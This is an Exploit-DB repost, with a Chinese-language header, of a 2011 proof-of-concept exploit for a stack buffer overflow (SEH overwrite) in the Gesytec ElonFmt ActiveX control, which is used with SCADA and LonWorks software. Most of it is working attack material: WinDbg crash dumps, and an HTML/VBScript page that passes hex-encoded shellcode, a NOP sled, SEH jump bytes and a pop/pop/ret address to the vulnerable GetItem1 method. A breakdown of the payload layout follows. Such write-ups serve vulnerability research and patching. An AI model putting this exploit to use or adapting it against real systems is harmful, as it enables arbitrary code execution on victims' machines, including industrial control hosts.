Gesytec ElonFmt ActiveX 1.1.14 – ‘ElonFmt.ocx’ pid Item Buffer Overflow (SEH)

  • 作者: LiquidWorm
    日期: 2011-04-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17196/
  • <!--
    
    
    Gesytec ElonFmt ActiveX 1.1.14 (ElonFmt.ocx) pid Item Buffer Overflow (SEH)
    
    
    Vendor: Gesytec GmbH
    Product web page: http://www.gesytec.de
    Affected version: 1.1.14.1
    
    Summary: Connects LonWorks networks to process control, visualization, SCADA
    and office software.
    
    Desc: The ElonFmt ActiveX Control Module suffers from a buffer overflow
    vulnerability. When a large buffer is sent to the pid item of the GetItem1
    function in elonfmt.ocx module, we get a few memory registers overwritten
    including the SEH. We're dealing with a character translation. An attacker
    can gain access to the system on the affected node and execute arbitrary code.
    
    
    ----------------------------------------------------------------------------------
    
    (fc.1608): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000000 ebx=00000000 ecx=cccccccc edx=7c9032bc esi=00000000 edi=00000000
    eip=cccccccc esp=0013e7d8 ebp=0013e7f8 iopl=0 nv up ei pl zr na pe nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010246
    cccccccc ?????
    0:000> !exchain
    0013e7ec: ntdll!ExecuteHandler2+3a (7c9032bc)
    0013ecf0: cccccccc
    Invalid exception stack at bbbbbbbb
    0:000> u 0013ecf0
    0013ecf0 bbbbbbbbccmov ebx,0CCBBBBBBh
    0013ecf5 ccint 3
    0013ecf6 ccint 3
    0013ecf7 ccint 3
    0013ecf8 ddddfstpst(5)
    0013ecfa ddddfstpst(5)
    0013ecfc ddddfstpst(5)
    0013ecfe ddddfstpst(5)
    
    ...
    ...
    ...
    
    0:000> d esp
    0013eb5801 00 00 00 8d 61 53 80-7c 5a 63 af 00 00 00 00.....aS.|Zc.....
    0013eb6888 d5 2e ba 00 00 00 00-24 46 53 8a 00 86 8f bf........$FS.....
    0013eb78a8 5a 63 af a8 5a 63 af-fb 0a 80 bf 60 29 53 89.Zc..Zc.....`)S.
    0013eb88ce 86 8f bf 68 d5 2e ba-88 d5 2e ba 00 00 00 00....h...........
    0013eb9806 00 05 00 a1 00 00 00-2e 0e 73 74 d1 18 43 7e..........st..C~
    0013eba801 00 00 00 00 00 00 00-40 f7 47 00 81 18 c3 77........@.G....w
    0013ebb81a 03 00 00 a2 56 00 10-00 ed 13 00 e8 eb 13 00.....V..........
    0013ebc820 8f 63 01 b8 8e 63 01-81 18 c3 77 01 00 00 00 .c...c....w....
    0:000> d
    0013ebd864 21 12 77 ff 00 00 00-74 e1 97 7c 51 7c 91 7cd!.w....t..|Q|.|
    0013ebe8aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa................
    0013ebf8aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa................
    0013ec08aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa................
    0013ec18aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa................
    0013ec28aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa................
    0013ec38aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa................
    0013ec48aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa................
    
    ...
    ...
    ...
    
    0:000> d
    0013ece8aa aa aa aa aa aa aa aa-bb bb bb bb cc cc cc cc................
    0013ecf8dd dd dd dd dd dd dd dd-dd ad d0 01 01 00 63 01..............c.
    0013ed0800 00 00 00 b8 8e 63 01-01 00 00 00 00 ed 13 00......c.........
    0013ed1882 a5 00 10 8c ed 13 00-b8 8e 63 01 28 ee 13 00..........c.(...
    0013ed2800 00 00 00 80 02 63 01-80 ed 13 00 ae 43 dd 73......c......C.s
    0013ed385c ed 13 00 d8 f0 00 10-02 00 00 00 d9 a3 00 10\...............
    0013ed4880 02 63 01 24 8e 56 01-01 00 00 00 78 8e 63 01..c.$.V.....x.c.
    0013ed5848 ed 13 00 80 ed 13 00-98 f0 00 10 01 00 00 00H...............
    
    
    
    ----------------------------------------------------------------------------------
    
    
    Tested on: Microsoft Windows XP Professional SP3 (EN)
     Easylon OPC Server M 2.30.66.0
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    liquidworm gmail com
    Zero Science Lab - http://www.zeroscience.mk
    
    High five to sickn3ss!
    
    
    Advisory ID: ZSL-2011-5011
    Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5011.php
    
    
    09.04.2011
    
    
    JUST A PoC MODEL:
    
    
    -->
    
    
    
    <html>
    <object classid='clsid:824C4DC5-8DA4-11D6-A01F-00E098177CDC' id='zsl' />
    <script language='VBScript'>
    
    targetFile = "C:\Easylon\Shared\ElonFmt.ocx"
    prototype= "Function GetItem1 ( ByVal typeName As String ,ByVal pid As String ,ByVal selector As Integer ) As Object"
    memberName = "GetItem1"
    progid = "ELONFMTLib.ElonFmt"
    argCount = 3
    
    arg1="defaultV"
    
    arg2 = String(10, "90") _
     + "2bc9b88bc18865b132ddc3d97424f45d31450e03" _
     + "450e834ec56a90ac2ee35b4caf94d2a99e8681ba" _
     + "b316c1ee3fdc871acb900f2d7c1e76007daeb6ce" _
     + "bdb04a0c921272dfe753b33d07016c4abab6190e" _
     + "07b6cd0537c068d9cc7a72097cf03cb1f65e9dc0" _
     + "dbbce18b5076910ab1465a3dfd0565f2f054a134" _
     + "eb22d94796341a3a4cb0bf9c0762641dcbf5ef11" _
     + "a072b7353756c341bc5904c0867d80895d1f9177" _
     + "3320c1dfec8489cdf9bfd39bfc326ee2ff4c7144" _
     + "687cfa0bef8129681fc870d88895e059d525df9d" _
     + "e0a5ea5d17b59e5853717210cc147487ed3c1746" _
     + "7edcd8" _
     + String(62, "A") + "eb069090" + "78c70110" _
     + "e9e0fdffff" + String(20, "D")
    
    arg3=1
    
    zsl.GetItem1 arg1 ,arg2 ,arg3
    
    
    
    '
    'Argument No.2 Structure:
    '--------------------------------------------------------------------------------------------------------------
    '
    ' (20)NOPSLED + (446)SCODE(calc) + (62)JUNK + (8)JMP + (8)P/P/R EDI LDRF32R.dll + (10)JMP BCk + (20)JUNK
    '
    '--------------------------------------------------------------------------------------------------------------
    '
    '
    '
    'Scenes (2/5)
    '--------------------------------------------------------------------------------------------------------------
    '
    'arg2 = String(528, "A") + "BBBBBBBB" + "CCCCCCCC" + "DDDDDDDD" + "41414141"
    '
    ' junk nsehseh(eip)pad eip
    '
    '--------------------------------------------------------------------------------------------------------------
    '
    'arg2 = String(528, "A") + "BBBBBBBB" + "CCCCCCCC" + String(101, "D")
    '
    ' junk nsehseh(eip) random
    '
    '--------------------------------------------------------------------------------------------------------------
    '
    
    
    </script>
    </html>